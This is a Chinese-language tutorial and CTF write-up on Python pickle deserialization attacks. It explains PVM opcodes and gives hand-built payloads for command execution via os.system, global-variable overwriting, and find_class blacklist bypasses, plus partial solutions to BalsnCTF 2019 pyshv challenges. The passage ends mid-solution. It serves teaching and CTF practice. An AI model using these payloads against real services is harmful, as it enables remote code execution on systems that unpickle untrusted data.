居家隔离实在是太无聊了,更一篇文章吧。
介绍
与 PHP 反序列化类似,Python 反序列化也是为了解决对象传输与持久化存储问题。
相关库和方法
在 Python 中内置了标准库 pickle/cPickle(3.x 改名为 _pickle),用于序列化/反序列化的各种操作(Python 的官方文档中,称其为 封存/解封,意思其实差不多),比较常见的当然是 dumps(序列化)和 loads(反序列化)啦。其中 pickle 是用 Python 写的,cPickle 是用 C 语言写的,速度很快,但是它不允许用户从 pickle 派生子类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickleclass Test : def __init__ (self ): self.a = 1
test = Test()
serialized = pickle.dumps(test)print (serialized)
unserialized = pickle.loads(serialized)print (unserialized.a)
结果如下:
1 2 b '\x80 \x04 \x95 "\x00 \x00 \x00 \x00 \x00 \x00 \x00 \x8c\x08 __main__\x94 \x8c\x04 Test\x94 \x93 \x94 )\x81 \x94 }\x94 \x8c\x01 a\x94 K\x01 sb.' 1
第一行看起来很复杂?马上说到。
PVM
要对序列化、反序列化很清楚的话,一定要了解 PVM,这背后又有非常多的细节。
首先,在调用 pickle 的时候,实际上是 class pickle.Pickler 和 class pickle.Unpickler 在起作用,而这两个类又是依靠 Pickle Virtual Machine(PVM),在更深层对输入进行着某种操作,从而最后得到了那串复杂的结果。
PVM 由三部分组成:
指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止(看上面的代码示例,序列化之后的结果最后是 .)。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:
opcode 是单字节的
带参数的指令用换行符来确定边界
栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。
最后,PVM 还有协议一说,这里的协议指定了应该采用什么样的序列化、反序列化算法。
PVM 协议
当前共有 6 种不同的协议可用,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。
v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制(参考 PEP 307)。
v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化(参考 PEP 3154)。它是 Python 3.8 使用的默认协议。
v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理(参考 PEP 574)。
上面那个代码示例,我用的是 py3.8,如果要得到易读的序列化结果,在 dumps 中指定协议版本即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickleclass Test : def __init__ (self ): self.a = 1
test = Test()
serialized = pickle.dumps(test, protocol=0 ) # 指定版本 print (serialized)
unserialized = pickle.loads(serialized) # 注意,loads 能够自动识别反序列化的版本 print (unserialized.a)
结果如下:
1 2 b'ccopy_reg\n _reconstructor\n p0\n (c__main__\n Test\n p1\n c__builtin__\n object\n p2\n Ntp3\n Rp4\n (dp5\n Va\n p6\n I1\n sb.' 1
在序列化时,协议版本是自动检测出来的,所以诸如 loads 方法是不需要参数来指定协议的。
由于不同版本在利用的时候没有很大区别,所以本文以最易读的 v0 协议为例。
opcode
opcode 是 PVM 的灵魂,控制整个流程的运行。常用的我给翻译了一下,各位现查现用好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 MARK = b'(' # 向栈中压入一个 MARK 标记 STOP = b'.' # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值 POP = b'0' # 丢弃栈顶对象 POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # 实例化一个 float 对象 INT = b'I' # 实例化一个 int 或者 bool 对象 BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # 栈中压入 None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # push persistent object; id is taken from stack REDUCE = b'R' # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈 STRING = b'S' # 实例化一个字符串对象 BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # push string; counted binary string argument < 256 bytes UNICODE = b'V' # 实例化一个 UNICODE 字符串对象 BINUNICODE = b'X' # push Unicode string; counted UTF-8 string argument APPEND = b'a' # 将栈的第一个元素 append 到第二个元素(必须为列表)中 BUILD = b'b' # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update() GLOBAL = b'c' # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈 DICT = b'd' # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果 EMPTY_DICT = b'}' # 向栈中直接压入一个空字典 APPENDS = b'e' # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中 GET = b'g' # 将 memo[n] 的压入栈 BINGET = b'h' # push item from memo on stack; index is 1-byte arg INST = b'i' # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表 EMPTY_LIST = b']' # 向栈中直接压入一个空列表 OBJ = b'o' # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果, PUT = b'p' # 将栈顶对象储存至 memo[n] BINPUT = b'q' # store stack top in memo; index is 1-byte arg LONG_BINPUT = b'r' # store stack top in memo; index is 4-byte arg SETITEM = b's' # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中 TUPLE = b't' # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果 EMPTY_TUPLE = b')' # 向栈中直接压入一个空元组 SETITEMS = b'u' # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中 BINFLOAT = b'G' # push float; arg is 8-byte float encodingTRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
当然,这些都是 v0 协议的 opcode,其他版本的协议会新增/替换一些 opcode,详见资料 2。
以上面那个 b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.' 为例,我们来解读一下这个序列化结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 c copy_reg _reconstructor: stack[copy_reg._reconstructor]p 0 : memo[copy_reg._reconstructor]
(: stack[(, copy_reg._reconstructor]
c __main__ Test: stack[__main__.Test, (, copy_reg._reconstructor]
p 1 : memo[copy_reg._reconstructor, __main__.Test]
c __builtin__ object : stack[__builtin__.object , __main__.Test, (, copy_reg._reconstructor]
p 2 : memo[copy_reg._reconstructor, __main__.Test, __builtin__.object ]
N: stack[None , __builtin__.object , __main__.Test, (, copy_reg._reconstructor]
t: stack[(None , __builtin__.object , __main__.Test), copy_reg._reconstructor]
p 3 : memo[copy_reg._reconstructor, __main__.Test, __builtin__.object , (None , __builtin__.object , __main__.Test)]
R stack[<__main__.Test at 0x160578603d0 >]
p 4 : memo[copy_reg._reconstructor, __main__.Test, __builtin__.object , (None , __builtin__.object , __main__.Test), <__main__.Test at 0x160578603d0 >]
(: stack[(, <__main__.Test at 0x160578603d0 >]
d: stack[{}, <__main__.Test at 0x160578603d0 >]
p 5 : memo[copy_reg._reconstructor, __main__.Test, __builtin__.object , (None , __builtin__.object , __main__.Test), <__main__.Test at 0x160578603d0 >, {}]
V a: stack["a" , <__main__.Test at 0x160578603d0 >]
p 6 : memo[copy_reg._reconstructor, __main__.Test, __builtin__.object , (None , __builtin__.object , __main__.Test), <__main__.Test at 0x160578603d0 >, {}, "a" ]
I 1 : stack[1 , "a" , <__main__.Test at 0x160578603d0 >]
s: stack[{"a" : 1 }, <__main__.Test at 0x160578603d0 >]
b: stack[<__main__.Test at 0x160578603d0 >] # set a = 1
.: [] # 返回 <__main__.Test at 0x160578603d0>
我感觉,整个过程有点像语法分析里的 LR 算法,不断移进-规约。
虽然这个结果的可读性好了很多,但是依旧不容易读懂。
所以 Python 官方提供了工具,叫 pickletools,它的作用主要是:
可读性较强的方式展示一个序列化对象(pickletools.dis)
对一个序列化结果进行优化(pickletools.optimize)
1 2 3 import pickletoolsprint (pickletools.dis(serialized))
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 0 : c GLOBAL 'copy_reg _reconstructor' 25 : p PUT 0 28 : ( MARK 29 : c GLOBAL '__main__ Test' 44 : p PUT 1 47 : c GLOBAL '__builtin__ object' 67 : p PUT 2 70 : N NONE 71 : t TUPLE (MARK at 28 ) 72 : p PUT 3 75 : R REDUCE 76 : p PUT 4 79 : ( MARK 80 : d DICT (MARK at 79 ) 81 : p PUT 5 84 : V UNICODE 'a' 87 : p PUT 6 90 : I INT 1 93 : s SETITEM 94 : b BUILD 95 : . STOP highest protocol among opcodes = 0
这个要比自己分析序列化结果清晰多了。
细心的橘友们会注意到,在上面那个人工分析序列化的过程中,memo 一直是只有压入,没有弹出,所以 memo 里的数据压根就用不着,那么也有没必要压入了。所以上面的序列化结果完全可以把 pn 都去掉,再把不需要的 \n 移除,优化为:b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVa\nI1\nsb.',我们来执行一下试试:
当然,也可以用 pickletools.optimize 自动优化:
虽然这个优化结果与我们手动优化是一模一样的,但是在遇到复杂的序列化结果时,最好还是用这个方法来搞。
小结
由于在反序列化的时候,这个对象要能在当前环境上下文中创建,所以在实际的利用过程中,那些默认加载的库、标准库(可被自动 import)就成了首选的类,比如 os,它有 system 方法。
对于 Python 可以被 pickle/unpickle 的对象以及其他一些注意事项,可以参考官方文档,见资料 3
我这里列出几点比较重要的:
函数(内置函数或用户自定义函数)在被封存时,引用的是函数全名(这就是为什么 lambda 函数不可以被封存:所有的匿名函数都有同一个名字:<lambda>)。这意味着只有函数所在的模块名,与函数名会被封存,函数体及其属性不会被封存。因此,在解封的环境中,函数所属的模块必须是可以被导入的,而且模块必须包含这个函数被封存时的名称,否则会抛出异常
类也只封存名称,所以在解封环境中也有和函数相同的限制。注意,类体及其数据不会被封存,只有实例数据会被封存,所以在下面的例子中类属性 attr 不会存在于解封后的环境中:
1 2 3 4 5 6 import pickleclass Foo : attr = 'A class attribute'
picklestring = pickle.dumps(Foo)
当实例解封时,它的 __init__() 方法通常不会被调用。其默认动作是:先创建一个未初始化的实例,然后还原其属性:
1 2 3 4 5 6 7 def save (obj ): return (obj.__class__, obj.__dict__)def load (cls, attributes ): obj = cls.__new__(cls) obj.__dict__.update(attributes) return obj
最后需要注意的是,由于 0 的存在,一个序列化字符串可以包含很多个不相关的操作,在后面会有一个例子来说明。
攻击思路
本来打算按照攻击场景来分类的,但是我发现场景太多了,还是按照构造方式分类,攻击手法作为附属示例会比较清晰。
payload 的构造分为用魔术方法自动构造和手动构造(手搓 opcode)。
自动构造
首先,这样序列化肯定是达不到攻击目的的:
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport osclass Test : def __init__ (self ): self.a = os.system("whoami" )
test = Test()
serialized = pickle.dumps(test, protocol=0 )print (serialized)
os.system("whoami") 在 test = Test() 就会被执行完毕,所以这个可以说是自己日自己了。
相关魔术方法
上面提到过,解封的时候是有一个默认的赋值过程,既然是默认行为,往往是有办法自定义的。Python 提供了很多魔术方法(比如比较常见的 __reduce__),来改变这一默认行为。下面一起来看下这些魔术方法都是怎么用的(下面几个方法的介绍,内容大部分都是摘录自官方文档)。
__getnewargs_ex__()
限制:
对于使用 v2 版或更高版协议的 pickle 才能使用此方法
必须返回一对 (args, kwargs) 用于构建对象,其中 args 是表示位置参数的 tuple,而 kwargs 是表示命名参数的 dict
__getnewargs_ex__() 方法 return 的值,会在解封时传给 __new__() 方法的作为它的参数。
__getnewargs__()
限制:
必须返回一个 tuple 类型的 args
如果定义了 __getnewargs_ex__(),那么 __getnewargs__() 就不会被调用。
这个方法与上一个 __getnewargs_ex__() 方法类似,但只支持位置参数。
注:在 Python 3.6 前,v2、v3 版协议会调用 __getnewargs__(),更高版本协议会调用 __getnewargs_ex__()
__getstate__()
类还可以进一步控制实例的封存过程。如果类定义了 __getstate__(),它就会被调用,其返回的对象是被当做实例内容来封存的,否则封存的是实例的 __dict__。如果 __getstate__() 未定义,实例的 __dict__ 会被照常封存。
__setstate__()
当解封时,如果类定义了 __setstate__(),就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__
如果 __getstate__() 返回 False,那么在解封时就不会调用 __setstate__() 方法。
所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__ 方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_() 方法。而在 _setstate_() 方法内部,是按照事先自定义好的流程来重建实例。
__reduce__()
限制:
__reduce__ 方法是新式类特有的
opcode R 其实就是 __reduce__()
__reduce__() 方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为 “reduce 值”)。
如果返回字符串,该字符串会被当做一个全局变量的名称。它应该是对象相对于其模块的本地名称,pickle 模块会搜索模块命名空间来确定对象所属的模块。这种行为常在单例模式使用。
如果返回的是元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。每个元素代表的意义如下:
一个可调用对象,该对象会在创建对象的最初版本时调用。
可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。
可选元素,用于表示对象的状态,将被传给前述的 __setstate__() 方法。如果对象没有此方法,则这个元素必须是字典类型,并会被添加至 __dict__ 属性中。
可选元素,一个返回连续项的迭代器(而不是序列)。这些项会被 obj.append(item) 逐个加入对象,或被 obj.extend(list_of_items) 批量加入对象。这个元素主要用于 list 的子类,也可以用于那些正确实现了 append() 和 extend() 方法的类。(具体是使用 append() 还是 extend() 取决于 pickle 协议版本以及待插入元素的项数,所以这两个方法必须同时被类支持)
可选元素,一个返回连续键值对的迭代器(而不是序列)。这些键值对将会以 obj[key] = value 的方式存储于对象中。该元素主要用于 dict 子类,也可以用于那些实现了 __setitem__() 的类。
可选元素,一个带有 (obj, state) 签名的可调用对象。该可调用对象允许用户以编程方式控制特定对象的状态更新行为,而不是使用 obj 的静态 __setstate__() 方法。如果此处不是 None,则此可调用对象的优先级高于 obj 的 __setstate__()。
3.8 新版功能: 新增了元组的第 6 项,可选元素 (obj, state)
可以看出,其实 pickle 并不直接调用上面的几个函数。事实上,它们实现了 __reduce__() 这一特殊方法。尽管这个方法功能很强,但是直接在类中实现 __reduce__() 容易产生错误。因此,设计类时应当尽可能的使用高级接口(比如 __getnewargs_ex__()、__getstate__() 和 __setstate__())。后面仍然可以看到直接实现 __reduce__() 接口的状况,可能别无他法,可能为了获得更好的性能,或者两者皆有之。
__reduce_ex__()
作为替代选项,也可以实现 __reduce_ex__() 方法。此方法的唯一不同之处在于它接受一个整型参数用于指定协议版本。如果定义了这个函数,则会覆盖 __reduce__() 的行为。此外,__reduce__() 方法会自动成为扩展版方法的同义词。这个函数主要用于为以前的 Python 版本提供向后兼容的 reduce 值。
利用 __reduce__() 自动生成
这里举一个简单的执行命令的 demo。
显然,在上面那么多方法中,__reduce__() 是我们的首选构造方案,demo 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickleimport osclass Test : def __reduce__ (self ): return (os.system, ("whoami" , ))
test = Test()
serialized = pickle.dumps(test, protocol=0 )print (serialized)
结果:b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
当然,新式类是 3.x 才有的。如果要在 2.x(>= 2.2,< 2.2 无新式类)使用 __reduce__ 的话,需要手动显式继承新式类,把 class Test 改为 class Test(object) 即可。
如果攻击目标可以传入任意序列化结果,那么这个 payload 直接就可以生效。这种攻击最为简单,在 CTF 中,有利用黑名单 ban 掉 system 等等函数的题目,思路就是寻找黑名单的漏网之鱼。
避免使用特定的 opcode
如果攻击目标有对传入的序列化结果做高危 opcode 判断的话,可以尝试用不同版本的协议:
这种差异性或许能让我们绕过一些 if 判断。不过,诸如 R 这种比较必需的 opcode,一般是很难用其他 opcode 来直接代替的。
souse
为了方便构造 Payload,我写了一个自动转化的工具:souse ,可以将 Python 源码形式的 exp 转为 opcode 形式的 exp,可冲!
不过,在用工具之前一定要先看下如何根据利用链手搓 opcode,毕竟工具只是工具而已。
网上也有另一个自动构造工具,见资料 4。
手动构造
手动构造需要对 opcode 比较了解(实际上用几次就熟练了)。由于自动构造的手法手动构造都可以做到,所以为了避免内容重复,这里只列举手动构造特有攻击的手法。
全局引用
举个例子:
1 2 3 4 5 6 7 import secretclass Target : def __init__ (self ): obj = pickle.loads(ser) # 输入点 if obj.pwd == secret.pwd: print ("Hello, admin!" )
在这个例子中,假如我就是想通过这个 if 来完成攻击,应该怎么实现呢?
先看自动构造,比较直接的思路就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 class secret : pwd = "???" class Target : def __init__ (self ): self.pwd = secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0 ))print (serialized)# 结果 # b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV???\nsb.'
这个犯了和上面那个命令执行相同的错误,在实例化 Target 的时候,self.pwd 就已经被赋值完成了,而这肯定是有问题的,因为你不知道 secret.pwd 到底是啥(这里加个 class secret 只是为了代码可以运行)。
这个时候,我们可以利用 c 这个 opcode 来完成攻击。c 其实就是 pickle.Unpickler().find_class(module, name)。
它的作用是导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class() 同样可以用来导入函数。
既然如此,我们就可以把攻击目标类中引用的 secret.pwd 用 c 拿进来:
1 2 3 4 # 前后对比 b'ccopy_reg\n _reconstructor\n (c__main__\n Target\n c__builtin__\n object\n NtR(dVpwd\n V???\n sb.'b'ccopy_reg\n _reconstructor\n (c__main__\n Target\n c__builtin__\n object\n NtR(dVpwd\n csecret\n pwd\n sb.'
丢进去看看:
nice
引入魔术方法
举个 RCE 的例子:
对于这个例子来说,要想 RCE,需要过这里的 if,也就是不能用 R。
先来看下常规的 payload 是什么样的:
1 2 cnt\n system\n p0\n (Vwhoami\n p1\n tp2\n Rp3\n . ^
这 R 如何去除呢?b 就派上用场了。
回顾一下它的作用:使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性/方法的设置。既然可以设置实例的方法,那么能不能设置一个方法让它在反序列化的时候自动运行呢?什么方法会在反序列化的时候自动运行,答案是上面提到的 __setstate__()。
所以,我们只需要令 __setstate__ = os.system,再把参数传入即可:
1 ccopy_reg\n _reconstructor\n (c__main__\n Target\n c__builtin__\n object\n NtR(dV__setstate__\n cos\n system\n ubVwhoami\n b.
但是我们把执行函数的那个 R 去掉之后,由于要构建实例,又引入了一个新的 R。用前面提到过的,修改协议版本即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 \x80\x02c__main__\nTest\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb. # pickletools.dis 如下 0: c GLOBAL '__main__ Test' 15: ) EMPTY_TUPLE 16: \x81 NEWOBJ 17: } EMPTY_DICT 18: ( MARK 19: V UNICODE '__setstate__' 33: c GLOBAL 'os system' 44: u SETITEMS (MARK at 18 ) 45: b BUILD 46: V UNICODE 'whoami' 54: b BUILD 55: . STOP
\x80\x02 是协议的版本声明,可写可不写,写错了也不影响 Python 识别;\x81 其实就是通过 cls.__new__ 来创建一个实例,需要栈顶有 args(元组) 和 kwds(字典)。
find_class 黑名单绕过
Python 的官方文档里,明确表示了 pickle 是不保证安全性的,所以数据一定要可信才能进行 unpickle
同时,也给出了安全使用 pickle 的最佳实践:
当序列化中 opcode 出现 c、i、b'\x93' 时,会调用 find_class。利用白名单方法来限制解封的对象一般是没问题的。但是如果用黑名单,就容易出现疏漏,攻击的思路就是用 mro 来层层深入寻找黑名单以外的模块、方法,与我之前写的《Python 沙箱逃逸的经验总结》(见资料 1)里提到的技巧如出一辙,我这里就不啰嗦了。
如果你经常打 CTF,就会发现现在 Python 反序列化的题目基本上都要用到 find_class,后面会有一些经典的题目。作为题目难度控制器,需要和其他场景联合起来去看如何绕过,所以我这里就不单独举例说明了。
变量与方法覆盖
举个例子:
1 2 3 4 5 6 7 8 PWD = "???" # 已打码 class Target : def __init__ (self ): obj = pickle.loads(ser) # 输入点 if obj.pwd == PWD: print ("Hello, admin!" )
这个时候,可以通过 import builtins 来覆盖 globals 里的 PWD,转成代码就是这样:
1 2 3 4 5 import builtinsbuiltins.globals ()["PWD" ] = "tr0y" # 先把 PWD 改成一个值
obj.pwd = "tr0y" # 再让 obj.pwd 也等于这个值
转成 opcode 就是:cbuiltins\nglobals\n(tR(VPWD\nVtr0y\nu.,但是还有一个问题,此时 obj 实际上是字典,它并没有 pwd 这个属性,所以在 if 判断的时候就会直接报错。
解决的办法就是用 0 把栈里的 builtins.globals() 弹出,它已经完成了自己修改 PWD 值的使命;然后再压入一个 Target 实例,并让它的 pwd 属性等于 tr0y,这样就可以让 obj.pwd 的值与 PWD 一致:
1 2 cbuiltins\n globals\n (tR(VPWD\n Vtr0y\n u0c__main__\n Target\n )\x81}(Vpwd\n Vtr0y\n ub. ^
这里你可能会想,builtins.globals() 是字典,而 Python 中一切皆对象,那么这个字典也是一个实例,这样岂不是也可以用 b 来给这个字典新增一个属性?这样 payload 就简洁得多:
1 cbuiltins\n globals\n (tR(VPWD\n Vtr0y\n u}(Vpwd\n Vtr0y\n ub.
遗憾的是,前面提到过,b 是执行 __dict__.update(),而字典是没有 __dict__ 这个属性的,所以没法通过 b 给它新增一个属性:
当然,不仅变量可以被覆盖,方法也是可以被覆盖的。比如 sys.modules.get("os"),可以先用代码理清楚链路:
1 2 3 4 5 import sys p0 = sys.modules p0["sys" ] = p0import sys p0["sys" ] = sys.get("os" )
转成 opcode:
1 csys\n modules\n p0\n 0g0\n Vsys\n g0\n scsys\n get\n (Vos\n tR.
注意这里的 import 了两次,只有第一次是真正执行了 sys 模块,然后载入内存,第二次是从 sys.modules 直接引入的。这个特性与 Python import 协议有关系,它由两个模块构成,查找器和加载器。导入详细机制可看资料 5。
所以,这个思路要求对 Python 内置的一些属性、方法、模块有扎实的掌握。比如按照 Python 文档的意思来看,属性包括 数据属性 和 方法,所以严格来说,我们常说的属性一词,其实特指 数据属性(这一点没必要太纠结,反正大家都是这么说的)。还有,大家可能习惯性用 dir() 来查看属性和方法,其实它在参数不同的时候,查询的逻辑是不一样的:
我一般是在 ipython 中用 .*? 来查看,例如 os.*?,这个结果是非常全的。
另外特别注意的是,有些对象的 __dict__ 属于 mappingproxy 类型,例如:
如果直接用 b 这种对象进行属性修改的话,会抛出异常:
查看 pickle 的源码(见资料 6)可知(注:pickle 源码中有 _pickle(即 cPickle)优先使用的逻辑,如果这个模块导入失败,才会使用这上面的 pickle。这两个模块的逻辑略有差异,如果想仔细对比需要看下 _pickle 的 C 源码),最终会执行 inst_dict[intern(k)] = v,而 mappingproxy 类型禁止这样操作:
那么应该怎么办呢?再看源码,如果 state 是两个元素的元组,那么会执行 state, slotstate = state,如果此时 state in [None, {}](由于 _pickle 逻辑问题,是没办法让 state 等于 ''、0 等这种值的),那么就会跑去执行 setattr(inst, k, v),这是 mappingproxy 类型允许的:
所以,假如有一个库是 A,里面有个类 b,要修改 b 的属性,原本要执行的 cA\nb\n}Va\nI1\nsb. 应该改为 cA\nb\n(N}Va\nI1\ntsb. 或者 cA\nb\n(}}Va\nI1\ntsb.
课后题
这三道题目是 2019 年的 BalsnCTF,非常经典的 Python 反序列化题,源码见资料 7
pyshv1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 # ----- securePickle.py ----- import pickleimport ioimport syswhitelist = []# See https://docs.python.org/3.7/library/pickle.html#restricting-globals class RestrictedUnpickler (pickle.Unpickler):
def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name)
def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py ----- import securePickle as pickleimport codecsimport sys
pickle.whitelist.append('sys' )
class Pysh (object ): def __init__ (self ): self.login() self.cmds = {}
def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" )
def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func()
if __name__ == '__main__' : pysh = Pysh() pysh.run()
限制条件如下:
只能引入 sys 模块
方法中不能有 .
这题比较简单,利用方法覆盖的思路,sys.modules.get("os").system("whoami") 就可以了,转为 opcode 即为:
1 2 3 4 csys\n modules\n p0\n 0g0\n Vsys\n g0\n scsys\n get\n (Vos\n tR # 到这里和上面方法覆盖中的 payload 一样 p1\n 0 # 把 os 存下来先,然后清空栈 g0\n Vsys\n g1\n s # 引入 sys.modules 并令 sys.modules["sys"] = os,这个思路还是方法覆盖 csys\n system\n (Vwhoami\n tR. # 执行命令
在经过两轮覆盖 sys 之后,就可以执行任意命令了:
pyshv2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 # ----- structs.py ----- # structs.py 是一个空文件 # ----- securePickle.py ----- import pickleimport io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals class RestrictedUnpickler (pickle.Unpickler):
def find_class (self, module, name ): if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) module = __import__ (module) return getattr (module, name)
def loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
# ----- server.py ----- import securePickle as pickleimport codecsimport sys
pickle.whitelist.append('structs' )
class Pysh (object ): def __init__ (self ): self.login() self.cmds = { 'help' : self.cmd_help, 'flag' : self.cmd_flag, }
def login (self ): user = input ().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" )
def run (self ): while True : req = input ('$ ' ) func = self.cmds.get(req, None ) if func is None : print ('pysh: ' + req + ': command not found' ) else : func()
def cmd_help (self ): print ('Available commands: ' + ' ' .join(self.cmds.keys()))
def cmd_su (self ): print ("Not Implemented QAQ" ) # self.user.privileged = 1
def cmd_flag (self ): print ("Not Implemented QAQ" )
if __name__ == '__main__' : pysh = Pysh() pysh.run()
这道题难度提升了不少。限制如下:
只能引入 structs 模块
方法中不能有 .
上一道题利用方法覆盖,依赖的是可引入模块中的某些特殊方法。我们先来看下 structs 都有哪些属性:
再看下都有哪些方法:
__builtins__、__getattribute__ 都是好东西。
思路首先可以是 structs.__builtins__["eval"]("__import__('os').system('whoami')"),可是这里的 "eval" 是不好 get 的。
我们可以从后往前推。
("__import__('os').system('whoami')"),这个好解决,用 c 就行了。重点是 structs.__builtins__["eval"] 这个怎么搞出来。由于自定义的 find_class 用到了 __import__,所以 cstructs\n__builtins__ 就会执行 __import__("structs")。那么可以这样,首先,给 structs 加一个属性:structs.__dict__["p0"] = structs.__builtins__,再解开一层,给 structs 加一个属性:structs.__dict__["p1"] = structs.__dict__["p0"].get,那么 cstructs\np1\n(Veval\ntR. 就会执行 structs.__builtins__.get("eval"),所以这里的 opcode 就是:
1 2 3 4 cstructs\n __dict__\n p0 (Vp0\n cstructs\n __builtins__\n s (Vp1\n g0.get\n s # 这里是不行的 cstructs\n p1\n (Veval\n tR(V__import__('os').system('whoami')\n tR.
遗憾的是,opcode 是不支持用 . 来取属性/方法的。
所以现在的问题就变成了,.get 这个方法怎么搞出来。
再看下 find_class:
1 2 module = __import__ (module)return getattr (module, name)
所以如果 module 是一个字典的话,那么 name 就可以置为 get,即 __import__("structs") 的结果应该是一个字典。而 __import__ 是可以被替换的,__getattribute__ 就派上了用场,令 structs.__builtins__['__import__'] = structs.__getattribute__。所以,我们还得给 structs 新增一个 structs 属性:structs.__dict__["structs"] = structs.__builtins__。
到这里:
__import__(module) 等于
structs.__getattribute__("structs") 等于
structs.__builtins__
所以 module 已经是 structs.__builtins__ 了,只需要让 name = "get" 即可拿到 eval:
